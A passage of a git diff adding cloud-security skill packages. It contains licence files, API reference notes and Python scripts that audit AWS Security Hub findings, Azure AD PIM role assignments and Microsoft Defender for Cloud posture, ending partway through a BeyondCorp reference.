BY SEVERITY ---") + for sev in ["CRITICAL", "HIGH", "MEDIUM", "LOW"]: + count = analysis["by_severity"].get(sev, 0) + bar = "#" * min(count, 40) + print(f" {sev:<12} {count:>4} {bar}") + + print(f"\n--- TOP FAILED CONTROLS ---") + for control, count in list(analysis["by_control"].items())[:10]: + detail = analysis["control_details"].get(control, {}) + acct_count = len(detail.get("accounts", [])) + print(f" [{count:3d}] {control[:60]}") + print(f" Severity: {detail.get('severity', 'N/A')} | Accounts: {acct_count}") + + print(f"\n--- TOP AFFECTED ACCOUNTS ---") + for acct, count in list(analysis["by_account"].items())[:5]: + print(f" {acct}: {count} failed controls") + + print(f"\n Total failed findings: {len(findings)}") + print(f"{'='*60}\n") + return {"findings_count": len(findings), "analysis": analysis} + + +def main(): + parser = argparse.ArgumentParser(description="AWS Security Hub Compliance Agent") + parser.add_argument("--region", default="us-east-1") + parser.add_argument("--audit", action="store_true", help="Run compliance audit") + parser.add_argument("--remediate", action="store_true", help="Auto-remediate safe findings") + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + if args.audit: + report = run_compliance_report(args.region) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + elif args.remediate: + hub, s3 = get_clients(args.region) + findings = get_compliance_findings(hub) + results = auto_remediate_findings(hub, s3, findings) + for r in results: + print(f" [{r['status']}] {r.get('bucket', 'unknown')}") + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-aws-security-hub/LICENSE b/skills/implementing-aws-security-hub/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-aws-security-hub/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-aws-security-hub/references/api-reference.md b/skills/implementing-aws-security-hub/references/api-reference.md new file mode 100644 index 00000000..a08e677a --- /dev/null +++ b/skills/implementing-aws-security-hub/references/api-reference.md @@ -0,0 +1,51 @@ +# API Reference: Implementing AWS Security Hub + +## Libraries + +### boto3 -- AWS Security Hub +- **Install**: `pip install boto3` +- **Docs**: https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/securityhub.html + +### Key Methods + +| Method | Description | +|--------|-------------| +| `enable_security_hub()` | Activate Security Hub in an account | +| `batch_enable_standards()` | Enable compliance standards (CIS, FSBP, PCI) | +| `get_enabled_standards()` | List enabled standards and their status | +| `get_findings()` | Retrieve security findings with filters | +| `batch_update_findings()` | Update finding status (resolve, suppress) | +| `batch_import_findings()` | Import custom findings in ASFF format | +| `create_insight()` | Create custom aggregation insight | +| `create_finding_aggregator()` | Enable cross-region finding aggregation | +| `enable_organization_admin_account()` | Designate delegated admin | +| `update_organization_configuration()` | Auto-enable for org members | +| `create_action_target()` | Create custom remediation action | + +## Standard ARNs + +| Standard | ARN Pattern | +|----------|------------| +| CIS v5.0 | `arn:aws:securityhub:::ruleset/cis-aws-foundations-benchmark/v/5.0.0` | +| FSBP v1.0 | `arn:aws:securityhub:{region}::standards/aws-foundational-security-best-practices/v/1.0.0` | +| PCI DSS 3.2.1 | `arn:aws:securityhub:{region}::standards/pci-dss/v/3.2.1` | +| NIST 800-53 r5 | `arn:aws:securityhub:{region}::standards/nist-800-53/v/5.0.0` | + +## ASFF Finding Format (Key Fields) +- `SchemaVersion`: `"2018-10-08"` +- `Id`: Unique finding identifier +- `ProductArn`: Source product ARN +- `Severity.Label`: CRITICAL, HIGH, MEDIUM, LOW, INFORMATIONAL +- `Compliance.Status`: PASSED, FAILED, WARNING, NOT_AVAILABLE +- `Resources[]`: Affected AWS resources +- `Workflow.Status`: NEW, NOTIFIED, RESOLVED, SUPPRESSED + +## EventBridge Integration +- Source: `aws.securityhub` +- Detail type: `Security Hub Findings - Imported` +- Filter by: `Severity.Label`, `Compliance.Status`, `GeneratorId` + +## External References +- Security Hub User Guide: https://docs.aws.amazon.com/securityhub/latest/userguide/ +- ASFF Syntax: https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-findings-format.html +- Security Hub Controls: https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-controls-reference.html diff --git a/skills/implementing-aws-security-hub/scripts/agent.py b/skills/implementing-aws-security-hub/scripts/agent.py new file mode 100644 index 00000000..8f6e8597 --- /dev/null +++ b/skills/implementing-aws-security-hub/scripts/agent.py @@ -0,0 +1,181 @@ +#!/usr/bin/env python3 +"""AWS Security Hub CSPM agent using boto3 securityhub client.""" + +import json +import sys +import argparse +from datetime import datetime +from collections import Counter + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + print("Install boto3: pip install boto3") + sys.exit(1) + + +def get_hub_client(region="us-east-1"): + """Create Security Hub client.""" + return boto3.client("securityhub", region_name=region) + + +def enable_security_hub(client): + """Enable Security Hub with default standards.""" + try: + client.enable_security_hub(EnableDefaultStandards=True, + Tags={"ManagedBy": "security-agent"}) + return {"status": "enabled"} + except ClientError as e: + if "already enabled" in str(e).lower(): + return {"status": "already_enabled"} + return {"error": str(e)} + + +def enable_standards(client, standards): + """Enable specific compliance standards.""" + standard_arns = { + "cis": "arn:aws:securityhub:::ruleset/cis-aws-foundations-benchmark/v/5.0.0", + "fsbp": "arn:aws:securityhub:{region}::standards/aws-foundational-security-best-practices/v/1.0.0", + "pci": "arn:aws:securityhub:{region}::standards/pci-dss/v/3.2.1", + "nist": "arn:aws:securityhub:{region}::standards/nist-800-53/v/5.0.0", + } + region = client.meta.region_name + requests = [] + for s in standards: + if s in standard_arns: + arn = standard_arns[s].replace("{region}", region) + requests.append({"StandardsArn": arn}) + if requests: + try: + resp = client.batch_enable_standards(StandardsSubscriptionRequests=requests) + return [{"arn": s["StandardsArn"], "status": s["StandardsStatus"]} + for s in resp.get("StandardsSubscriptions", [])] + except ClientError as e: + return [{"error": str(e)}] + return [] + + +def get_enabled_standards(client): + """List all enabled security standards and their status.""" + try: + resp = client.get_enabled_standards() + return [{"arn": s["StandardsArn"], "status": s["StandardsStatus"]} + for s in resp.get("StandardsSubscriptions", [])] + except ClientError as e: + return [{"error": str(e)}] + + +def get_findings_summary(client, max_results=100): + """Retrieve active findings grouped by severity.""" + try: + resp = client.get_findings( + Filters={"RecordState": [{"Value": "ACTIVE", "Comparison": "EQUALS"}], + "WorkflowStatus": [{"Value": "NEW", "Comparison": "EQUALS"}]}, + SortCriteria=[{"Field": "SeverityNormalized", "SortOrder": "desc"}], + MaxResults=max_results) + findings = resp.get("Findings", []) + severity_counts = Counter(f["Severity"]["Label"] for f in findings) + failed_controls = Counter() + for f in findings: + if f.get("Compliance", {}).get("Status") == "FAILED": + failed_controls[f.get("Title", "Unknown")] += 1 + return {"total": len(findings), "by_severity": dict(severity_counts), + "top_failed_controls": dict(failed_controls.most_common(10)), + "findings": findings} + except ClientError as e: + return {"error": str(e)} + + +def get_compliance_scores(client): + """Get compliance scores for all enabled standards.""" + standards = get_enabled_standards(client) + scores = [] + for std in standards: + if "error" in std: + continue + scores.append({"standard": std["arn"].split("/")[-3] if "/" in std["arn"] else std["arn"], + "status": std["status"]}) + return scores + + +def create_custom_insight(client, name, group_by, filters): + """Create a custom Security Hub insight.""" + try: + resp = client.create_insight(Name=name, Filters=filters, GroupByAttribute=group_by) + return {"insight_arn": resp["InsightArn"], "status": "created"} + except ClientError as e: + return {"error": str(e)} + + +def batch_update_findings(client, finding_ids, workflow_status, note): + """Update findings workflow status in batch.""" + identifiers = [{"Id": fid["Id"], "ProductArn": fid["ProductArn"]} for fid in finding_ids] + try: + client.batch_update_findings( + FindingIdentifiers=identifiers, + Workflow={"Status": workflow_status}, + Note={"Text": note, "UpdatedBy": "security-hub-agent"}) + return {"updated": len(identifiers), "status": workflow_status} + except ClientError as e: + return {"error": str(e)} + + +def run_security_hub_audit(region="us-east-1"): + """Run a full Security Hub audit and print report.""" + client = get_hub_client(region) + + print(f"\n{'='*60}") + print(f" AWS SECURITY HUB AUDIT REPORT") + print(f" Region: {region}") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + standards = get_enabled_standards(client) + print(f"--- ENABLED STANDARDS ({len(standards)}) ---") + for s in standards: + print(f" {s.get('arn', 'N/A')}: {s.get('status', 'N/A')}") + + summary = get_findings_summary(client) + print(f"\n--- FINDINGS SUMMARY ---") + print(f" Total Active: {summary.get('total', 0)}") + for sev, count in summary.get("by_severity", {}).items(): + print(f" {sev}: {count}") + + print(f"\n--- TOP FAILED CONTROLS ---") + for control, count in summary.get("top_failed_controls", {}).items(): + print(f" [{count:3d}] {control[:70]}") + + print(f"\n{'='*60}\n") + return {"standards": standards, "findings": summary} + + +def main(): + parser = argparse.ArgumentParser(description="AWS Security Hub Agent") + parser.add_argument("--region", default="us-east-1", help="AWS region") + parser.add_argument("--enable", action="store_true", help="Enable Security Hub") + parser.add_argument("--standards", nargs="+", choices=["cis", "fsbp", "pci", "nist"], + help="Enable specific standards") + parser.add_argument("--audit", action="store_true", help="Run Security Hub audit") + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + if args.enable: + result = enable_security_hub(get_hub_client(args.region)) + print(f"Security Hub: {result}") + if args.standards: + results = enable_standards(get_hub_client(args.region), args.standards) + for r in results: + print(f" Standard: {r}") + if args.audit: + report = run_security_hub_audit(args.region) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + if not any([args.enable, args.standards, args.audit]): + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-azure-ad-privileged-identity-management/LICENSE b/skills/implementing-azure-ad-privileged-identity-management/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-azure-ad-privileged-identity-management/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-azure-ad-privileged-identity-management/references/api-reference.md b/skills/implementing-azure-ad-privileged-identity-management/references/api-reference.md new file mode 100644 index 00000000..d95f811c --- /dev/null +++ b/skills/implementing-azure-ad-privileged-identity-management/references/api-reference.md @@ -0,0 +1,60 @@ +# API Reference: Azure AD PIM Audit Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | HTTP client for Microsoft Graph API | + +## CLI Usage + +```bash +python scripts/agent.py \ + --tenant-id YOUR_TENANT_ID \ + --client-id YOUR_CLIENT_ID \ + --client-secret YOUR_SECRET \ + --output-dir /reports/ \ + --output pim_report.json +``` + +## Functions + +### `PIMClient(tenant_id, client_id, client_secret)` +Authenticates via OAuth2 client credentials flow to Microsoft Graph API. + +### `list_role_definitions() -> list` +GET `/roleManagement/directory/roleDefinitions` - Available directory roles. + +### `list_eligible_assignments() -> list` +GET `/roleManagement/directory/roleEligibilityScheduleInstances` - PIM eligible roles. + +### `list_active_assignments() -> list` +GET `/roleManagement/directory/roleAssignmentScheduleInstances` - Active assignments. + +### `list_role_settings() -> list` +GET `/policies/roleManagementPolicyAssignments` - PIM policy configurations. + +### `audit_permanent_assignments(active, eligible) -> list` +Identifies permanent role assignments not managed via PIM eligible workflow. + +### `compute_pim_coverage(active, eligible) -> dict` +Calculates percentage of assignments managed through PIM. + +## Microsoft Graph Endpoints + +| Endpoint | Purpose | +|----------|---------| +| `POST /oauth2/v2.0/token` | Client credentials auth | +| `GET /roleManagement/directory/roleDefinitions` | Role catalog | +| `GET /roleManagement/directory/roleEligibilityScheduleInstances` | Eligible assignments | +| `GET /roleManagement/directory/roleAssignmentScheduleInstances` | Active assignments | + +## Output Schema + +```json +{ + "coverage": {"active_assignments": 15, "eligible_assignments": 42, "pim_coverage_pct": 73.7}, + "permanent_assignments": [{"role": "Global Administrator", "recommendation": "Convert to eligible"}], + "recommendations": ["Convert 5 permanent assignments to PIM-eligible"] +} +``` diff --git a/skills/implementing-azure-ad-privileged-identity-management/scripts/agent.py b/skills/implementing-azure-ad-privileged-identity-management/scripts/agent.py new file mode 100644 index 00000000..04ce8843 --- /dev/null +++ b/skills/implementing-azure-ad-privileged-identity-management/scripts/agent.py @@ -0,0 +1,152 @@ +#!/usr/bin/env python3 +"""Azure AD Privileged Identity Management agent using Microsoft Graph API via requests.""" + +import argparse +import json +import logging +import os +import sys +from datetime import datetime +from typing import Dict, List, Optional + +try: + import requests +except ImportError: + sys.exit("requests required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +GRAPH_BASE = "https://graph.microsoft.com/v1.0" + + +class PIMClient: + """Client for Microsoft Entra PIM via Graph API.""" + + def __init__(self, tenant_id: str, client_id: str, client_secret: str): + self.tenant_id = tenant_id + self.token = self._acquire_token(client_id, client_secret) + self.session = requests.Session() + self.session.headers.update({"Authorization": f"Bearer {self.token}"}) + + def _acquire_token(self, client_id: str, client_secret: str) -> str: + resp = requests.post( + f"https://login.microsoftonline.com/{self.tenant_id}/oauth2/v2.0/token", + data={ + "grant_type": "client_credentials", + "client_id": client_id, + "client_secret": client_secret, + "scope": "https://graph.microsoft.com/.default", + }, timeout=15) + resp.raise_for_status() + return resp.json()["access_token"] + + def list_role_definitions(self) -> List[dict]: + """List available directory role definitions.""" + resp = self.session.get(f"{GRAPH_BASE}/roleManagement/directory/roleDefinitions", timeout=30) + resp.raise_for_status() + return resp.json().get("value", []) + + def list_eligible_assignments(self) -> List[dict]: + """List PIM eligible role assignments.""" + resp = self.session.get( + f"{GRAPH_BASE}/roleManagement/directory/roleEligibilityScheduleInstances", timeout=30) + resp.raise_for_status() + return resp.json().get("value", []) + + def list_active_assignments(self) -> List[dict]: + """List currently active (activated) role assignments.""" + resp = self.session.get( + f"{GRAPH_BASE}/roleManagement/directory/roleAssignmentScheduleInstances", timeout=30) + resp.raise_for_status() + return resp.json().get("value", []) + + def list_role_settings(self) -> List[dict]: + """List PIM role management policy assignments.""" + resp = self.session.get( + f"{GRAPH_BASE}/policies/roleManagementPolicyAssignments?" + "$filter=scopeId eq '/' and scopeType eq 'DirectoryRole'", timeout=30) + resp.raise_for_status() + return resp.json().get("value", []) + + def get_activation_requests(self, top: int = 50) -> List[dict]: + """List recent role activation requests.""" + resp = self.session.get( + f"{GRAPH_BASE}/roleManagement/directory/roleEligibilityScheduleRequests?" + f"$top={top}&$orderby=createdDateTime desc", timeout=30) + resp.raise_for_status() + return resp.json().get("value", []) + + +def audit_permanent_assignments(active: List[dict], eligible: List[dict]) -> List[dict]: + """Identify permanent (non-PIM) role assignments that should be converted to eligible.""" + eligible_ids = {a.get("principalId") for a in eligible} + permanent = [] + for a in active: + if a.get("assignmentType") == "Assigned" and a.get("principalId") not in eligible_ids: + permanent.append({ + "principal_id": a.get("principalId", ""), + "role": a.get("roleDefinition", {}).get("displayName", ""), + "start": a.get("startDateTime", ""), + "recommendation": "Convert to eligible assignment with JIT activation", + }) + return permanent + + +def compute_pim_coverage(active: List[dict], eligible: List[dict]) -> dict: + """Calculate PIM coverage metrics.""" + total = len(active) + eligible_count = len(eligible) + pim_pct = (eligible_count / (total + eligible_count) * 100) if (total + eligible_count) else 0 + return { + "active_assignments": total, + "eligible_assignments": eligible_count, + "pim_coverage_pct": round(pim_pct, 1), + } + + +def generate_report(client: PIMClient) -> dict: + """Generate PIM compliance report.""" + roles = client.list_role_definitions() + eligible = client.list_eligible_assignments() + active = client.list_active_assignments() + permanent = audit_permanent_assignments(active, eligible) + coverage = compute_pim_coverage(active, eligible) + + report = { + "analysis_date": datetime.utcnow().isoformat(), + "role_definitions": len(roles), + "coverage": coverage, + "permanent_assignments": permanent, + "permanent_count": len(permanent), + "recommendations": [], + } + if permanent: + report["recommendations"].append( + f"Convert {len(permanent)} permanent assignments to PIM-eligible") + if coverage["pim_coverage_pct"] < 80: + report["recommendations"].append("Increase PIM coverage above 80%") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Azure AD PIM Audit Agent") + parser.add_argument("--tenant-id", required=True, help="Azure AD tenant ID") + parser.add_argument("--client-id", required=True, help="App registration client ID") + parser.add_argument("--client-secret", required=True, help="App registration secret") + parser.add_argument("--output-dir", default=".") + parser.add_argument("--output", default="pim_report.json") + args = parser.parse_args() + + os.makedirs(args.output_dir, exist_ok=True) + client = PIMClient(args.tenant_id, args.client_id, args.client_secret) + report = generate_report(client) + out_path = os.path.join(args.output_dir, args.output) + with open(out_path, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Report saved to %s", out_path) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-azure-defender-for-cloud/LICENSE b/skills/implementing-azure-defender-for-cloud/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-azure-defender-for-cloud/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-azure-defender-for-cloud/references/api-reference.md b/skills/implementing-azure-defender-for-cloud/references/api-reference.md new file mode 100644 index 00000000..0cf40dd0 --- /dev/null +++ b/skills/implementing-azure-defender-for-cloud/references/api-reference.md @@ -0,0 +1,62 @@ +# API Reference: Implementing Azure Defender for Cloud + +## Libraries + +### azure-mgmt-security +- **Install**: `pip install azure-mgmt-security azure-identity` +- **Docs**: https://learn.microsoft.com/en-us/python/api/azure-mgmt-security/ + +### azure-identity +- **Install**: `pip install azure-identity` +- `DefaultAzureCredential()` -- Auto-detect credentials (CLI, managed identity, env vars) + +## SecurityCenter Client Methods + +| Method | Description | +|--------|-------------| +| `pricings.list()` | List Defender plan pricing tiers | +| `pricings.update()` | Enable/disable a Defender plan | +| `secure_scores.list()` | Get current secure score | +| `secure_score_controls.list()` | List score controls with health counts | +| `assessments.list(scope)` | List security assessments for a scope | +| `assessments.get(resource_id, name)` | Get specific assessment details | +| `alerts.list()` | List all security alerts | +| `alerts.update_subscription_level_state_to_dismiss()` | Dismiss an alert | +| `regulatory_compliance_standards.list()` | List compliance standards | +| `regulatory_compliance_controls.list()` | Controls per standard | +| `jit_network_access_policies.list()` | JIT VM access policies | +| `jit_network_access_policies.initiate()` | Request JIT access | +| `auto_provisioning_settings.list()` | Auto-provisioning status | + +## Defender Plan Names + +| Plan | `name` Parameter | +|------|-----------------| +| CSPM | `CloudPosture` | +| Servers | `VirtualMachines` | +| Containers | `Containers` | +| Storage | `StorageAccounts` | +| SQL | `SqlServers` | +| Key Vault | `KeyVaults` | +| App Service | `AppServices` | +| DNS | `Dns` | + +## Severity Levels +- `High`, `Medium`, `Low` + +## Compliance Standards +- CIS Azure 2.0: `CIS-Azure-2.0` +- PCI DSS 4.0: `PCI-DSS-4.0` +- NIST 800-53 r5: `NIST-SP-800-53-R5` +- SOC 2: `SOC-2` + +## Azure CLI Equivalents +- `az security pricing create --name VirtualMachines --tier standard` +- `az security assessment list` +- `az security alert list` +- `az security secure-score list` + +## External References +- Defender for Cloud Docs: https://learn.microsoft.com/en-us/azure/defender-for-cloud/ +- Python SDK Reference: https://learn.microsoft.com/en-us/python/api/azure-mgmt-security/ +- REST API: https://learn.microsoft.com/en-us/rest/api/defenderforcloud/ diff --git a/skills/implementing-azure-defender-for-cloud/scripts/agent.py b/skills/implementing-azure-defender-for-cloud/scripts/agent.py new file mode 100644 index 00000000..cac97d91 --- /dev/null +++ b/skills/implementing-azure-defender-for-cloud/scripts/agent.py @@ -0,0 +1,194 @@ +#!/usr/bin/env python3 +"""Azure Defender for Cloud security posture agent using azure-mgmt-security.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + from azure.identity import DefaultAzureCredential + from azure.mgmt.security import SecurityCenter + from azure.mgmt.resource import SubscriptionClient +except ImportError: + print("Install: pip install azure-identity azure-mgmt-security azure-mgmt-resource") + sys.exit(1) + + +def get_security_client(subscription_id): + """Create Azure Security Center client.""" + credential = DefaultAzureCredential() + return SecurityCenter(credential, subscription_id) + + +def list_subscriptions(): + """List available Azure subscriptions.""" + credential = DefaultAzureCredential() + sub_client = SubscriptionClient(credential) + return [{"id": s.subscription_id, "name": s.display_name, "state": s.state} + for s in sub_client.subscriptions.list()] + + +def get_secure_score(client): + """Retrieve the current secure score.""" + scores = [] + for score in client.secure_scores.list(): + scores.append({ + "name": score.display_name, + "current": score.current.score, + "max": score.max_score, + "percentage": round(score.current.score / max(score.max_score, 1) * 100, 1), + "weight": score.weight, + }) + return scores + + +def get_security_assessments(client, subscription_id): + """List all unhealthy security assessments (recommendations).""" + scope = f"/subscriptions/{subscription_id}" + assessments = [] + for a in client.assessments.list(scope=scope): + status = a.status + if status and status.code and status.code.lower() == "unhealthy": + assessments.append({ + "name": a.display_name, + "status": status.code, + "severity": a.metadata.severity if a.metadata else "Unknown", + "category": a.metadata.category if a.metadata else "Unknown", + "description": a.metadata.description if a.metadata else "", + }) + return assessments + + +def get_pricing_tiers(client): + """Check which Defender plans are enabled.""" + plans = [] + for p in client.pricings.list().value: + plans.append({ + "name": p.name, + "tier": p.pricing_tier, + "sub_plan": getattr(p, "sub_plan", None), + }) + return plans + + +def get_security_alerts(client): + """Retrieve active security alerts.""" + alerts = [] + for alert in client.alerts.list(): + if alert.status == "Active": + alerts.append({ + "name": alert.alert_display_name, + "severity": alert.severity, + "status": alert.status, + "time": str(alert.time_generated_utc), + "description": alert.description[:200] if alert.description else "", + "tactics": list(alert.intent) if alert.intent else [], + }) + return sorted(alerts, key=lambda x: {"High": 0, "Medium": 1, "Low": 2}.get(x["severity"], 3)) + + +def get_regulatory_compliance(client): + """Check regulatory compliance standard status.""" + standards = [] + try: + for std in client.regulatory_compliance_standards.list(): + standards.append({ + "name": std.name, + "state": std.state, + "passed": std.passed_controls, + "failed": std.failed_controls, + "skipped": std.skipped_controls, + }) + except Exception as e: + standards.append({"error": str(e)}) + return standards + + +def get_jit_policies(client, resource_group=None): + """List Just-In-Time VM access policies.""" + policies = [] + try: + if resource_group: + jit_list = client.jit_network_access_policies.list_by_resource_group(resource_group) + else: + jit_list = client.jit_network_access_policies.list() + for p in jit_list: + policies.append({ + "name": p.name, + "vm_count": len(p.virtual_machines) if p.virtual_machines else 0, + "provisioning_state": p.provisioning_state, + }) + except Exception as e: + policies.append({"error": str(e)}) + return policies + + +def run_defender_audit(subscription_id): + """Run a full Defender for Cloud audit.""" + client = get_security_client(subscription_id) + + print(f"\n{'='*60}") + print(f" MICROSOFT DEFENDER FOR CLOUD AUDIT") + print(f" Subscription: {subscription_id}") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + plans = get_pricing_tiers(client) + print(f"--- DEFENDER PLANS ---") + for p in plans: + tier_icon = "[ON]" if p["tier"] == "Standard" else "[OFF]" + print(f" {tier_icon} {p['name']}: {p['tier']}" + f"{' (' + p['sub_plan'] + ')' if p['sub_plan'] else ''}") + + scores = get_secure_score(client) + print(f"\n--- SECURE SCORE ---") + for s in scores: + bar = "#" * int(s["percentage"] / 2) + print(f" {s['name']}: {s['current']}/{s['max']} ({s['percentage']}%) {bar}") + + assessments = get_security_assessments(client, subscription_id) + sev_counts = {} + for a in assessments: + sev_counts[a["severity"]] = sev_counts.get(a["severity"], 0) + 1 + print(f"\n--- UNHEALTHY RECOMMENDATIONS ({len(assessments)}) ---") + for sev in ["High", "Medium", "Low"]: + print(f" {sev}: {sev_counts.get(sev, 0)}") + for a in assessments[:5]: + print(f" [{a['severity']}] {a['name']}") + + alerts = get_security_alerts(client) + print(f"\n--- ACTIVE ALERTS ({len(alerts)}) ---") + for a in alerts[:5]: + print(f" [{a['severity']}] {a['name']} ({a['time']})") + + compliance = get_regulatory_compliance(client) + print(f"\n--- REGULATORY COMPLIANCE ---") + for c in compliance: + if "error" not in c: + print(f" {c['name']}: {c['state']} (P:{c['passed']} F:{c['failed']} S:{c['skipped']})") + + print(f"\n{'='*60}\n") + return {"plans": plans, "scores": scores, "assessments_count": len(assessments), + "alerts_count": len(alerts), "compliance": compliance} + + +def main(): + parser = argparse.ArgumentParser(description="Azure Defender for Cloud Agent") + parser.add_argument("--subscription", required=True, help="Azure subscription ID") + parser.add_argument("--audit", action="store_true", help="Run full audit") + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + if args.audit: + report = run_defender_audit(args.subscription) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-beyondcorp-zero-trust-access-model/LICENSE b/skills/implementing-beyondcorp-zero-trust-access-model/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-beyondcorp-zero-trust-access-model/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-beyondcorp-zero-trust-access-model/references/api-reference.md b/skills/implementing-beyondcorp-zero-trust-access-model/references/api-reference.md new file mode 100644 index 00000000..d00f106b --- /dev/null +++ b/skills/implementing-beyondcorp-zero-trust-access-model/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: BeyondCorp Zero Trust Assessment Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | HTTP client for Google Cloud IAP and Access Context Manager APIs | + +## CLI Usage + +```bash +python scripts/agent.py \ + --project my-gcp-project \ + --output-dir /reports/ \ + --output beyondcorp_report.json +``` + +## Functions + +### `get_gcloud_token() -> str` +Runs `gcloud auth print-access-token` to obtain Bearer token. + +### `list_iap_resources(project_id, token) -> list` +GET IAP tunnel destination groups for the project. + +### `get_iap_settings(project_id, resource, token) -> dict` +GET IAP settings for a specific compute service resource. + +### `list_access_levels(org_id, policy_name, token) -> list` +GET `/accessPolicies/{name}/accessLevels` from Access Context Manager. + +### `audit_iap_bindings(project_id, token) -> list` 